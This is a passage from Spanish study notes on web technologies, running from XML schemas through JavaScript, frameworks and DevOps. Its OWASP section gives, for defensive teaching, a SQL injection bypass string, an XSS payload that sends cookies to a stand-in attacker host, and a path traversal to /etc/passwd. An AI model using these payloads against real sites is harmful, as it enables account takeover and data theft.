Obligatoriedad: #REQUIRED, #IMPLIED (opcional), #FIXED "valor", "valor-defecto"
Limitaciones de DTD:
- No está escrito en XML (sintaxis propia)
- No soporta tipos de datos
- No soporta espacios de nombres (namespaces)
- No permite validar contenido mixto complejo
Más potente que DTD, escrito en XML. Soporta tipos de datos, namespaces y es extensible.
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://ejemplo.com/biblioteca"
xmlns:bib="http://ejemplo.com/biblioteca"
elementFormDefault="qualified">
<xs:element name="biblioteca">
<xs:complexType>
<xs:sequence>
<xs:element name="libro" type="bib:TipoLibro"
minOccurs="1" maxOccurs="unbounded"/>
</xs:sequence>
</xs:complexType>
</xs:element>
<xs:complexType name="TipoLibro">
<xs:sequence>
<xs:element name="titulo" type="xs:string"/>
<xs:element name="autor" type="xs:string"/>
<xs:element name="anio" type="xs:gYear"/>
<xs:element name="isbn" type="xs:string" minOccurs="0"/>
<xs:element name="precio" type="bib:TipoPrecio"/>
</xs:sequence>
<xs:attribute name="id" type="xs:ID" use="required"/>
<xs:attribute name="disponible" type="xs:boolean" default="true"/>
</xs:complexType>
<xs:complexType name="TipoPrecio">
<xs:simpleContent>
<xs:extension base="xs:decimal">
<xs:attribute name="moneda" type="xs:string" use="required"/>
</xs:extension>
</xs:simpleContent>
</xs:complexType>
</xs:schema>
Tipos de datos XSD: xs:string, xs:integer, xs:decimal, xs:boolean, xs:date, xs:time, xs:dateTime, xs:anyURI, xs:ID, xs:IDREF...
Evitan conflictos entre nombres de elementos de diferentes vocabularios XML:
<root xmlns:h="http://www.w3.org/TR/html4/"
xmlns:svg="http://www.w3.org/2000/svg">
<h:table>
<h:tr><h:td>Celda HTML</h:td></h:tr>
</h:table>
<svg:svg>
<svg:rect width="100" height="100"/>
</svg:svg>
</root>
Lenguaje para seleccionar nodos en un documento XML:
/biblioteca/libro → Todos los libros (hijos directos de biblioteca)
//titulo → Todos los <titulo> en cualquier nivel
/biblioteca/libro[@disponible='true'] → Libros con atributo disponible=true
/biblioteca/libro[1] → Primer libro
/biblioteca/libro[last()] → Último libro
/biblioteca/libro[anio > 1900] → Libros con año > 1900
//libro/titulo | //libro/autor → Unión de nodos
count(//libro) → Número total de libros
string(//libro[1]/titulo) → Texto del título del primer libro
Ejes XPath: child::, parent::, ancestor::, descendant::, following-sibling::, preceding-sibling::, self::, attribute::
Transforma documentos XML en otros formatos (HTML, PDF, otro XML, texto plano):
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<!-- Plantilla principal -->
<xsl:template match="/">
<html>
<body>
<h1>Catálogo de Libros</h1>
<table border="1">
<tr><th>Título</th><th>Autor</th><th>Año</th></tr>
<!-- Iteración y ordenación -->
<xsl:for-each select="biblioteca/libro">
<xsl:sort select="titulo"/>
<tr>
<td><xsl:value-of select="titulo"/></td>
<td><xsl:value-of select="autor"/></td>
<td><xsl:value-of select="anio"/></td>
</tr>
</xsl:for-each>
</table>
<!-- Condicional -->
<xsl:if test="count(//libro) > 0">
<p>Total: <xsl:value-of select="count(//libro)"/> libros</p>
</xsl:if>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Instrucciones XSLT clave:
<xsl:template>, <xsl:apply-templates>, <xsl:value-of>, <xsl:for-each>, <xsl:if>, <xsl:choose>/<xsl:when>/<xsl:otherwise>, <xsl:sort>, <xsl:variable>, <xsl:param>, <xsl:call-template>
Lenguaje funcional para consultar y transformar datos XML (equivalente a SQL para XML):
for $libro in doc("biblioteca.xml")//libro
where $libro/anio > 1900
order by $libro/titulo ascending
return <resultado>{ $libro/titulo, $libro/autor }</resultado>
| Lenguaje | Organismo | Descripción |
|---|---|---|
| XHTML 1.0/1.1 | W3C | HTML reformulado como XML válido (strict, transitional, frameset) |
| SVG | W3C | Gráficos vectoriales escalables (Scalable Vector Graphics) |
| MathML | W3C | Expresiones matemáticas en web |
| RSS 2.0 / Atom | — | Feeds de sindicación de contenido |
| WSDL | W3C | Web Services Description Language (describe servicios SOAP) |
| SOAP | W3C | Simple Object Access Protocol (mensajería entre servicios) |
| KML | OGC / Google | Datos geoespaciales (Google Earth, Google Maps) |
| XAML | Microsoft | Interfaces de usuario (.NET/WPF/UWP) |
| OpenDocument (ODF) | OASIS | Formato estándar ISO de LibreOffice (.odt, .ods, .odp) |
| OOXML (Office Open XML) | ECMA / ISO | Formato Microsoft Office (.docx, .xlsx, .pptx) |
| EPUB | W3C / IDPF | Libros electrónicos |
| DocBook | OASIS | Documentación técnica estructurada |
| SMIL | W3C | Multimedia sincronizado (Synchronized Multimedia Integration Language) |
| GML | OGC | Geography Markup Language (datos geoespaciales) |
| HL7 FHIR | HL7 | Datos sanitarios interoperables |
| SAML | OASIS | Security Assertion Markup Language (autenticación federada) |
Aunque no es derivado de XML, es el formato de intercambio más usado en la web moderna. Definido en RFC 8259 y ECMA-404.
{
"biblioteca": {
"libros": [
{
"id": "001",
"titulo": "Don Quijote de la Mancha",
"autor": { "nombre": "Miguel", "apellidos": "de Cervantes" },
"anio": 1605,
"disponible": true,
"isbn": null,
"generos": ["novela", "picaresca", "aventuras"]
}
]
}
}
XML vs JSON:
| Característica | XML | JSON |
|---------------|-----|------|
| Verbosidad | Mayor | Menor |
| Legibilidad | Aceptable | Muy alta |
| Esquema/Validación | DTD, XSD | JSON Schema |
| Transformación | XSLT, XQuery | jq, JavaScript |
| Comentarios | Sí | No |
| Atributos | Sí | No (solo objetos/arrays) |
| Namespaces | Sí | No |
| Tipos de datos | Limitados | string, number, boolean, null, array, object |
| Uso actual en APIs REST | Minoritario (legacy) | Mayoritario |
| Uso en servicios web SOAP | Obligatorio | No aplica |
Un navegador web (browser) es una aplicación que interpreta y renderiza documentos web (HTML, CSS, JavaScript) y gestiona la comunicación con servidores mediante HTTP/HTTPS.
Funciones principales:
- Gestionar el ciclo de vida de las peticiones HTTP/HTTPS
- Parsear y renderizar HTML, CSS y SVG
- Ejecutar código JavaScript
- Gestionar cookies, caché, historial y descargas
- Proporcionar APIs web al código JavaScript
- Gestionar la seguridad (sandbox, política del mismo origen)
| Navegador | Empresa | Motor Renderizado | Motor JS | Cuota (~) |
|---|---|---|---|---|
| Chrome | Blink | V8 | ~65% | |
| Safari | Apple | WebKit | JavaScriptCore (Nitro) | ~19% |
| Edge | Microsoft | Blink | V8 | ~4% |
| Firefox | Mozilla | Gecko | SpiderMonkey | ~3% |
| Opera | Opera | Blink | V8 | ~2% |
| Samsung Internet | Samsung | Blink | V8 | ~3% |
| Motor | Desarrollado por | Usado en | Origen |
|---|---|---|---|
| Blink | Google (2013) | Chrome, Edge, Opera, Samsung, Brave | Fork de WebKit |
| WebKit | Apple | Safari, todos los navegadores en iOS | Fork de KHTML (KDE) |
| Gecko | Mozilla | Firefox, Tor Browser | Propio (1997) |
| Trident | Microsoft | Internet Explorer | Obsoleto |
| EdgeHTML | Microsoft | Edge (antiguo, hasta 2020) | Fork de Trident, obsoleto |
| Motor | Desarrollado por | Características |
|---|---|---|
| V8 | Compilación JIT, usado en Chrome y Node.js | |
| SpiderMonkey | Mozilla | Primer motor JS (Brendan Eich, 1995) |
| JavaScriptCore (Nitro) | Apple | Usado en Safari y WebKit |
| Chakra | Microsoft | Usado en IE/Edge antiguo, obsoleto |
URL ingresada
↓
1. DNS Resolution → IP del servidor
↓
2. TCP Connection + TLS Handshake (HTTPS)
↓
3. HTTP Request → Servidor
↓
4. HTTP Response ← HTML, cabeceras
↓
5. PARSING HTML → DOM Tree
(Bloqueo si encuentra <script> sin defer/async)
↓
6. PARSING CSS → CSSOM Tree
↓
7. JavaScript Engine → Ejecuta JS, puede modificar DOM/CSSOM
↓
8. Render Tree = DOM + CSSOM (solo nodos visibles)
↓
9. Layout (Reflow) → Calcula posición y tamaño de cada nodo
↓
10. Paint → Dibuja píxeles en capas
↓
11. Composite → Combina capas → Muestra en pantalla
Optimización: Evitar reflow innecesarios (cambios de layout), usar requestAnimationFrame para animaciones, cargar scripts con defer o async.
El navegador impide que JavaScript de un origen (protocolo + dominio + puerto) acceda a recursos de otro origen diferente.
CORS (Cross-Origin Resource Sharing): mecanismo que permite al servidor indicar qué orígenes externos pueden acceder a sus recursos:
Access-Control-Allow-Origin: https://miapp.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
| Panel | Función |
|---|---|
| Elements / Inspector | Ver y editar DOM y CSS en tiempo real |
| Console | Ejecutar JavaScript, ver errores y logs |
| Network | Analizar peticiones HTTP, tiempos de carga, waterfall |
| Sources / Debugger | Depurar JavaScript con breakpoints y watch |
| Performance | Analizar rendimiento, frames, CPU, memoria |
| Memory | Analizar uso de memoria y fugas (heap snapshots) |
| Application | Cookies, localStorage, IndexedDB, Service Workers, manifests |
| Lighthouse | Auditoría de rendimiento, accesibilidad, SEO, PWA |
| Security | Información sobre HTTPS y certificados |
| Organismo | Significado | Rol |
|---|---|---|
| W3C | World Wide Web Consortium | HTML, CSS, DOM, SVG, XML, WebAccessibility (WCAG) |
| WHATWG | Web Hypertext Application Technology WG | HTML Living Standard, DOM, Fetch, URL |
| ECMA International | European Computer Manufacturers Association | ECMAScript (JavaScript), JSON |
| IETF | Internet Engineering Task Force | HTTP, URI/URL, MIME, TLS (RFCs) |
| ISO/IEC JTC1 | International Standards Organization | Estándares internacionales de TI |
| OASIS | Organization for the Advancement of Structured Info Standards | SOAP, SAML, ODF, DocBook |
| IEEE | Institute of Electrical and Electronics Engineers | Estándares de redes y software |
-webkit-, -moz-, -ms-, -o- para características experimentales@supports en CSS, typeof window.feature en JSJavaScript es el único lenguaje de programación nativo de los navegadores web. Creado en 1995 por Brendan Eich en Netscape en solo 10 días. Estandarizado por ECMA International como ECMAScript (ECMA-262).
Características del lenguaje:
- Interpretado/compilado JIT (Just-In-Time)
- Dinámicamente tipado (los tipos se comprueban en ejecución)
- Orientado a objetos basado en prototipos (no clases clásicas, aunque ES6 añade sintaxis de clase)
- Funciones de primera clase (se pueden pasar como argumentos)
- Monohilo con modelo de concurrencia asíncrono (Event Loop)
- Paradigmas: imperativo, orientado a objetos, funcional
| Versión | Año | Novedades Clave |
|---|---|---|
| ES3 | 1999 | Expresiones regulares, try/catch |
| ES5 | 2009 | strict mode, JSON, métodos Array (map, filter, reduce) |
| ES6/ES2015 | 2015 | let/const, clases, arrow functions, Promises, módulos, destructuring, template literals, Map/Set |
| ES2016 | 2016 | Array.prototype.includes, operador ** |
| ES2017 | 2017 | async/await, Object.entries(), Object.values() |
| ES2018 | 2018 | rest/spread en objetos, for await...of, Promise.finally |
| ES2019 | 2019 | Array.flat(), Object.fromEntries(), optional catch binding |
| ES2020 | 2020 | Optional chaining ?., Nullish coalescing ??, Promise.allSettled, BigInt |
| ES2021 | 2021 | String.replaceAll, Promise.any, operadores de asignación lógica |
| ES2022 | 2022 | Top-level await, métodos de clase privados (#), Array.at() |
| ES2023 | 2023 | Array.findLast(), Array.toSorted(), Array.toSpliced() |
// ===== VARIABLES =====
var x = 1; // Función-scoped, hoisting (evitar)
let y = 2; // Bloque-scoped, no hoisting
const Z = 3; // Bloque-scoped, inmutable (la referencia, no el objeto)
// ===== DESESTRUCTURACIÓN =====
const { nombre, edad, ciudad = 'Madrid' } = usuario;
const [primero, segundo, ...resto] = array;
// ===== TEMPLATE LITERALS =====
const mensaje = `Hola, ${nombre}. Tienes ${edad} años.`;
const multilinea = `
Primera línea
Segunda línea
`;
// ===== ARROW FUNCTIONS =====
const suma = (a, b) => a + b;
const cuadrados = numeros.map(n => n ** 2);
// Nota: las arrow functions NO tienen su propio 'this'
// ===== SPREAD / REST =====
const fusionado = { ...obj1, ...obj2, extra: 'valor' };
const copia = [...array1, ...array2];
function suma(...numeros) { return numeros.reduce((a, b) => a + b, 0); }
// ===== CLASES =====
class Animal {
#nombre; // Propiedad privada (ES2022)
static contador = 0; // Propiedad estática
constructor(nombre) {
this.#nombre = nombre;
Animal.contador++;
}
get nombre() { return this.#nombre; }
set nombre(val) { this.#nombre = val; }
hablar() { return `${this.#nombre} hace un sonido`; }
static crearAnimal(nombre) { return new Animal(nombre); }
}
class Perro extends Animal {
constructor(nombre, raza) {
super(nombre);
this.raza = raza;
}
hablar() { return `${this.nombre} ladra`; }
}
// ===== MÓDULOS ES6 =====
// modulo.js
export const PI = 3.14159;
export function calcularArea(r) { return PI * r * r; }
export default class MiClase {}
// main.js
import MiClase, { PI, calcularArea } from './modulo.js';
import * as Modulo from './modulo.js';
const { calcularArea: area } = await import('./modulo.js'); // Import dinámico
// ===== PROMESAS =====
const promise = new Promise((resolve, reject) => {
setTimeout(() => resolve('Datos'), 1000);
});
promise
.then(datos => procesarDatos(datos))
.catch(error => console.error(error))
.finally(() => console.log('Finalizado'));
// Promise combinators
Promise.all([p1, p2, p3]); // Falla si alguna falla
Promise.allSettled([p1, p2, p3]); // Espera todas, sea cual sea el resultado
Promise.race([p1, p2, p3]); // Resuelve con la primera (éxito o error)
Promise.any([p1, p2, p3]); // Resuelve con la primera exitosa
// ===== ASYNC/AWAIT =====
async function cargarDatos() {
try {
const [usuarios, productos] = await Promise.all([
fetch('/api/usuarios').then(r => r.json()),
fetch('/api/productos').then(r => r.json())
]);
return { usuarios, productos };
} catch (err) {
throw new Error(`Error al cargar: ${err.message}`);
}
}
// ===== OPTIONAL CHAINING Y NULLISH COALESCING =====
const ciudad = usuario?.direccion?.ciudad ?? 'No especificada';
const longitud = array?.length ?? 0;
objeto?.metodo?.(); // Llama al método solo si existe
Primitivos (inmutables, pasados por valor):
- string, number, boolean, undefined, null, symbol (ES6), bigint (ES2020)
Objetos (mutables, pasados por referencia):
- Object, Array, Function, Date, RegExp, Map, Set, WeakMap, WeakSet, Promise
Superset de JavaScript con tipado estático, desarrollado por Microsoft (2012). Se transpila a JavaScript:
// Tipos básicos
let nombre: string = 'Ana';
let edad: number = 30;
let activo: boolean = true;
let datos: unknown = 'seguro'; // Mejor que any
// Interfaces
interface Usuario {
id: number;
nombre: string;
email?: string; // Opcional
readonly creado: Date; // Solo lectura
}
// Types (tipo alias)
type ID = string | number; // Unión
type AdminUser = Usuario & { permisos: string[] }; // Intersección
type Status = 'activo' | 'inactivo' | 'pendiente'; // Literal
// Genéricos
function primero<T>(array: T[]): T | undefined {
return array[0];
}
// Enums
enum Estado { Activo = 'activo', Inactivo = 'inactivo' }
// Utility Types
type Partial<T> // Todos los campos opcionales
type Required<T> // Todos los campos obligatorios
type Readonly<T> // Todos los campos de solo lectura
type Pick<T, K> // Subconjunto de propiedades
type Omit<T, K> // Excluye propiedades
CSS (Cascading Style Sheets) es el lenguaje de estilos estándar para presentar documentos HTML/XML. Creado por Håkon Wium Lie en 1994, estandarizado por el W3C.
/* Selectores avanzados */
a:hover { color: blue; } /* Pseudoclase */
p::first-line { font-weight: bold; } /* Pseudoelemento */
div > p { color: red; } /* Hijo directo */
h1 + p { margin-top: 0; } /* Hermano adyacente */
h1 ~ p { margin-top: 0; } /* Hermanos generales */
[data-activo="true"] { display: block; } /* Atributo */
:is(h1, h2, h3) { color: navy; } /* Pseudoclase funcional */
:not(.excluido) { opacity: 1; } /* Negación */
/* Animaciones y transiciones */
@keyframes deslizar {
from { transform: translateX(-100%); opacity: 0; }
to { transform: translateX(0); opacity: 1; }
}
.elemento { animation: deslizar 0.3s ease-out forwards; }
.boton { transition: background-color 0.2s ease, transform 0.1s; }
.boton:hover { transform: scale(1.05); }
/* Consultas de contenedor (CSS Container Queries, nuevo) */
@container sidebar (min-width: 400px) {
.card { display: grid; }
}
Niveles CSS: CSS se especifica en módulos independientes (CSS Color, CSS Selectors, CSS Grid, CSS Flexbox...) con sus propios números de versión (nivel 3, 4, 5).
PHP (PHP: Hypertext Preprocessor) es un lenguaje de scripting del lado servidor especialmente diseñado para el desarrollo web. Creado por Rasmus Lerdorf en 1994.
<?php
declare(strict_types=1);
// Tipos y estructuras
$array = [1, 2, 3];
$asociativo = ['nombre' => 'Ana', 'edad' => 30];
// Funciones con tipos (PHP 8)
function saludar(string $nombre, string $saludo = 'Hola'): string {
return "$saludo, $nombre!";
}
// Clases y OOP
class Producto {
public function __construct(
private string $nombre,
private float $precio
) {} // Constructor promotion (PHP 8)
public function getPrecio(): float { return $this->precio; }
public function aplicarDescuento(float $pct): static {
$this->precio *= (1 - $pct / 100);
return $this; // Method chaining
}
}
// Named arguments, match expression (PHP 8)
$resultado = match(true) {
$precio > 100 => 'caro',
$precio > 50 => 'normal',
default => 'barato',
};
// Nullsafe operator
$ciudad = $usuario?->getDireccion()?->getCiudad();
// Traits
trait Serializable {
public function toJSON(): string { return json_encode($this); }
}
?>
Python es un lenguaje de alto nivel, interpretado y multiparadigma. Muy popular en ciencia de datos, IA y desarrollo web.
# Django ORM
from django.db import models
class Articulo(models.Model):
titulo = models.CharField(max_length=200)
contenido = models.TextField()
publicado = models.DateTimeField(auto_now_add=True)
activo = models.BooleanField(default=True)
class Meta:
ordering = ['-publicado']
def __str__(self):
return self.titulo
# FastAPI (moderno, async, tipado)
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
app = FastAPI()
class Item(BaseModel):
nombre: str
precio: float
@app.get("/items/{item_id}")
async def read_item(item_id: int, q: str | None = None):
return {"item_id": item_id, "q": q}
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
return item
import { useState, useEffect, useCallback } from 'react';
function ListaUsuarios() {
const [usuarios, setUsuarios] = useState([]);
const [cargando, setCargando] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
fetch('/api/usuarios')
.then(r => { if (!r.ok) throw new Error('Error'); return r.json(); })
.then(data => { setUsuarios(data); setCargando(false); })
.catch(err => { setError(err.message); setCargando(false); });
}, []);
if (cargando) return <p>Cargando...</p>;
if (error) return <p>Error: {error}</p>;
return (
<ul>
{usuarios.map(u => <li key={u.id}>{u.nombre}</li>)}
</ul>
);
}
export default ListaUsuarios;
v-model| Característica | React | Vue | Angular |
|---|---|---|---|
| Tipo | Librería UI | Framework progresivo | Framework completo |
| Lenguaje | JS/JSX + TS opcional | JS/TS | TypeScript (obligatorio) |
| Curva de aprendizaje | Media | Baja | Alta |
| Paradigma | Funcional (hooks) | Options/Composition API | Orientado a componentes |
| Empresa | Meta | Comunidad | |
| Renderizado | CSR, SSR (Next.js) | CSR, SSR (Nuxt.js) | CSR, SSR (Angular Universal) |
| Herramienta | Descripción |
|---|---|
| Svelte | Compila a JS vanilla sin runtime en el navegador, muy eficiente |
| Next.js | Framework sobre React con SSR, SSG, routing automático |
| Nuxt.js | Framework sobre Vue con SSR/SSG |
| Astro | Generador de sitios con "islands architecture", multiframework |
| Solid.js | Reactividad granular sin Virtual DOM |
| htmx | Hypermedia-driven apps, extiende HTML con atributos AJAX |
| Framework | Lenguaje | Tipo | Características |
|---|---|---|---|
| Laravel | PHP | Full-stack | Eloquent ORM, Blade, Artisan CLI, Livewire |
| Symfony | PHP | Componentes | Muy flexible, empresarial, base de Laravel |
| Django | Python | Full-stack | ORM, admin automático, DRF para APIs |
| Flask | Python | Micro | Minimalista, flexible, fácil de aprender |
| FastAPI | Python | API | Async, OpenAPI/Swagger automático, tipado |
| Express.js | Node.js | Micro | Minimalista, muy popular, middleware |
| NestJS | Node.js | Full-stack | TypeScript, modular, decoradores (como Angular) |
| Spring Boot | Java | Full-stack | Empresarial, DI, JPA, Actuator, muy robusto |
| ASP.NET Core | C# | Full-stack | Alto rendimiento, multiplataforma, Razor |
| Ruby on Rails | Ruby | Full-stack | DRY, CoC, ActiveRecord, scaffolding |
| Técnica | Nombre | Descripción | Pros/Contras |
|---|---|---|---|
| CSR | Client-Side Rendering | HTML vacío, JS genera el DOM en cliente | Interactivo, pero lento en primera carga, malo para SEO |
| SSR | Server-Side Rendering | HTML generado en servidor en cada petición | Bueno para SEO, rápida primera carga, más carga en servidor |
| SSG | Static Site Generation | HTML pregenerado en tiempo de build | Muy rápido, escalable, pero contenido estático |
| ISR | Incremental Static Regeneration | SSG con revalidación periódica (Next.js) | Combina SSG y SSR |
| Herramienta | Uso |
|---|---|
| npm / yarn / pnpm | Gestores de paquetes Node.js |
| Webpack | Empaquetador (bundler) con configuración muy avanzada |
| Vite | Build tool moderno y rápido (HMR instantáneo, usa esbuild) |
| Parcel | Bundler sin configuración (zero-config) |
| esbuild | Bundler/transpilador extremadamente rápido (Go) |
| Rollup | Bundler orientado a librerías |
| Babel | Transpilador JS (ES6+ → ES5, JSX → JS) |
| PostCSS | Procesador CSS con plugins (Autoprefixer, cssnano) |
| ESLint | Linter JavaScript/TypeScript |
| Prettier | Formateador de código |
| TypeScript (tsc) | Compilador TypeScript |
git init # Inicializar repositorio
git clone https://... # Clonar repositorio remoto
git add . # Añadir al staging area
git commit -m "feat: añadir login" # Confirmar cambios (Conventional Commits)
git push origin main # Subir al remoto
git pull origin main # Bajar y fusionar cambios
git branch feature/nueva-funcion # Crear rama
git checkout -b hotfix/bug-42 # Crear y cambiar a rama
git merge feature/nueva-funcion # Fusionar rama
git rebase main # Reorganizar historial
git log --oneline --graph # Ver historial con grafo
git stash # Guardar cambios temporalmente
git tag v1.0.0 # Etiquetar versión
Flujos de trabajo Git: Gitflow, GitHub Flow, Trunk-Based Development.
Google define las Core Web Vitals como métricas esenciales para la experiencia de usuario:
| Métrica | Nombre | Descripción | Umbral bueno |
|---|---|---|---|
| LCP | Largest Contentful Paint | Tiempo hasta que se renderiza el elemento más grande visible | ≤ 2.5s |
| FID → INP | First Input Delay → Interaction to Next Paint | Tiempo de respuesta a la primera interacción → latencia de interacciones | ≤ 100ms → ≤ 200ms |
| CLS | Cumulative Layout Shift | Estabilidad visual (cambios inesperados de layout) | ≤ 0.1 |
| FCP | First Contentful Paint | Tiempo hasta primer píxel de contenido | ≤ 1.8s |
| TTFB | Time to First Byte | Tiempo de respuesta del servidor | ≤ 800ms |
Optimización de imágenes:
- Usar formatos modernos: WebP, AVIF (mejor compresión que JPEG/PNG)
- loading="lazy" para carga diferida de imágenes fuera del viewport
- Imágenes responsivas con srcset y sizes
- Compresión y redimensión adecuada
Optimización de recursos:
- Minificación: eliminar espacios, comentarios y código innecesario
- Bundling: combinar múltiples ficheros en uno
- Tree-shaking: eliminar código no usado (import no utilizados)
- Code splitting: dividir el bundle en trozos cargados bajo demanda
Caché:
- Cache-Control headers para cachear recursos estáticos
- CDN (Content Delivery Network): distribuir recursos en servidores cercanos al usuario
- Service Worker para caché offline (PWA)
Carga diferida (Lazy Loading):
// JavaScript dinámico bajo demanda
const modulo = await import('./modulo-pesado.js');
// React lazy loading
const MiComponente = React.lazy(() => import('./MiComponente'));
Técnicas de conexión:
- <link rel="preconnect" href="https://fonts.googleapis.com"> — establecer conexión anticipada
- <link rel="preload" href="estilo-critico.css" as="style"> — precargar recursos críticos
- <link rel="prefetch" href="/pagina-siguiente.html"> — precargar para futura navegación
- HTTP/2 multiplexing para cargar múltiples recursos en paralelo
Técnicas on-page para SEO:
- URL semánticas y limpias (/blog/titulo-articulo vs /index.php?id=42)
- Metaetiquetas <title> y <meta name="description"> únicas por página
- Estructura de encabezados correcta (un <h1> por página, jerarquía lógica)
- Texto alternativo en imágenes (alt)
- Datos estructurados: Schema.org (JSON-LD) para marcar contenido para los buscadores
- Sitemap XML y robots.txt
- URLs canónicas (<link rel="canonical">)
- HTTPS (factor de ranking desde 2014)
- Core Web Vitals (factor de ranking desde 2021)
- Mobile-first indexing de Google
El OWASP (Open Web Application Security Project) es una fundación sin ánimo de lucro dedicada a mejorar la seguridad del software web. Publica el ranking de las 10 vulnerabilidades más críticas:
| # | Vulnerabilidad | Descripción |
|---|---|---|
| A01 | Broken Access Control | Usuarios acceden a recursos o funciones no autorizados |
| A02 | Cryptographic Failures | Datos sensibles sin cifrar o con cifrado débil |
| A03 | Injection | SQL, XPath, OS Command, LDAP Injection |
| A04 | Insecure Design | Fallos en el diseño de la arquitectura de seguridad |
| A05 | Security Misconfiguration | Configuraciones por defecto inseguras, puertos abiertos |
| A06 | Vulnerable & Outdated Components | Dependencias con vulnerabilidades conocidas |
| A07 | Identification & Authentication Failures | Contraseñas débiles, sesiones no invalidadas |
| A08 | Software & Data Integrity Failures | CI/CD sin verificación de integridad |
| A09 | Security Logging & Monitoring Failures | Falta de registro de eventos de seguridad |
| A10 | SSRF | Server-Side Request Forgery |
// ❌ VULNERABLE
$query = "SELECT * FROM users WHERE user = '$usuario' AND pass = '$clave'";
// Payload: usuario = ' OR '1'='1' --
// ✅ SEGURO: Prepared Statements (PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE user = ? AND pass = ?');
$stmt->execute([$usuario, hash('sha256', $clave)]);
Tipos:
- Reflejado: el payload se incluye en la URL y se refleja en la respuesta
- Almacenado: el payload se guarda en BBDD y se muestra a otros usuarios
- DOM-based: el payload modifica el DOM sin pasar por el servidor
// ❌ VULNERABLE
echo "<p>" . $_GET['nombre'] . "</p>";
// Payload: <script>document.location='http://atacante.com/steal?c='+document.cookie</script>
// ✅ SEGURO
echo "<p>" . htmlspecialchars($_GET['nombre'], ENT_QUOTES, 'UTF-8') . "</p>";
CSP (Content Security Policy):
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.ejemplo.com; img-src *
<!-- Token anti-CSRF en formularios -->
<form method="POST" action="/transferir">
<input type="hidden" name="csrf_token" value="<?= bin2hex(random_bytes(32)) ?>">
</form>
SameSite en cookies, verificar cabecera Origin/Referer.
El atacante incrusta la web víctima en un iframe para engañar al usuario.
Contramedida: X-Frame-Options: DENY o Content-Security-Policy: frame-ancestors 'none'.
El atacante accede a ficheros fuera del directorio web: ../../../../etc/passwd.
Contramedida: validar y sanitizar rutas, usar rutas absolutas, chroot.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiaWF0IjoxNjE2MjM5MDIyfQ.SflKxwR...
│─────────────────────────────────────┘ │────────────────────────────────────────────┘ │──────┘
Header (Base64URL) Payload (Base64URL) Signature
JWT) y algoritmo (HS256, RS256)sub, iat, exp, iss, datos del usuario)Importante: el Payload NO está cifrado (solo codificado en Base64), no incluir datos sensibles.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.ejemplo.com
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=()
Nunca almacenar contraseñas en texto plano ni con MD5/SHA-1.
Usar algoritmos de hash lentos y con sal: bcrypt, Argon2 (ganador PHC 2015), scrypt.
// PHP - bcrypt
$hash = password_hash($clave, PASSWORD_BCRYPT, ['cost' => 12]);
$ok = password_verify($clave, $hash);
// Python - Argon2
from argon2 import PasswordHasher
ph = PasswordHasher()
hash = ph.hash("contraseña")
ph.verify(hash, "contraseña")
Docker: plataforma de contenedores que empaqueta la aplicación y sus dependencias en una imagen portable.
# Dockerfile para app Node.js
FROM node:20-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
EXPOSE 3000
CMD ["node", "server.js"]
Docker Compose: orquesta múltiples contenedores.
# docker-compose.yml
services:
web:
build: .
ports: ["3000:3000"]
depends_on: [db]
db:
image: postgres:16
environment:
POSTGRES_PASSWORD: secreto
Kubernetes (K8s): sistema de orquestación de contenedores para producción. Gestiona escalado, balanceo de carga, auto-healing y despliegues sin downtime.
Herramientas: GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Travis CI
# GitHub Actions (ejemplo CI/CD)
name: CI/CD Pipeline
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: '20' }
- run: npm ci
- run: npm test
- run: npm run build
| Servicio | AWS | Azure | Google Cloud |
|---|---|---|---|
| Cómputo | EC2 | Virtual Machines | Compute Engine |
| Contenedores | ECS / EKS | AKS | GKE |
| Serverless | Lambda | Azure Functions | Cloud Functions |
| Almacenamiento | S3 | Blob Storage | Cloud Storage |
| BBDD relacional | RDS | Azure SQL | Cloud SQL |
| CDN | CloudFront | Azure CDN | Cloud CDN |
Modelos de servicio cloud:
- IaaS (Infrastructure as a Service): recursos de infraestructura virtualizados (VMs, redes, almacenamiento)
- PaaS (Platform as a Service): plataforma gestionada para desplegar aplicaciones (Heroku, Vercel, Netlify)
- SaaS (Software as a Service): software listo para usar accesible via web (Gmail, Salesforce, Office 365)
TEMA 3: APLICACIONES WEB
│
├── DEFINICIÓN: Programas ejecutados en servidor, accedidos via navegador
│
├── ARQUITECTURAS
│ ├── 2 capas: cliente + servidor datos
│ ├── 3 capas: presentación + negocio + datos ← ESTÁNDAR
│ ├── Microservicios: servicios independientes, APIs REST/eventos
│ ├── SOA: servicios con ESB, SOAP/WSDL
│ └── Serverless / JAMstack / PWA
│
├── PROTOCOLOS
│ ├── HTTP/1.1, HTTP/2 (multiplexación), HTTP/3 (QUIC/UDP)
│ ├── HTTPS: HTTP + TLS/SSL (certificados X.509)
│ ├── Métodos: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS
│ ├── Códigos: 2xx éxito, 3xx redirección, 4xx error cliente, 5xx error servidor
│ └── WebSockets: canal bidireccional persistente
│
├── FRONT-END (lado cliente, ejecutado en navegador)
│ ├── HTML → estructura y semántica
│ ├── CSS → presentación, maquetación (Flexbox, Grid)
│ └── JavaScript → comportamiento, DOM, eventos, AJAX/Fetch
│
├── BACK-END (lado servidor, no visible al cliente)
│ ├── Servidores web: Nginx (~34%), Apache (~31%), IIS, LiteSpeed
│ ├── Lenguajes: PHP, Node.js, Python, Java, C#/ASP.NET
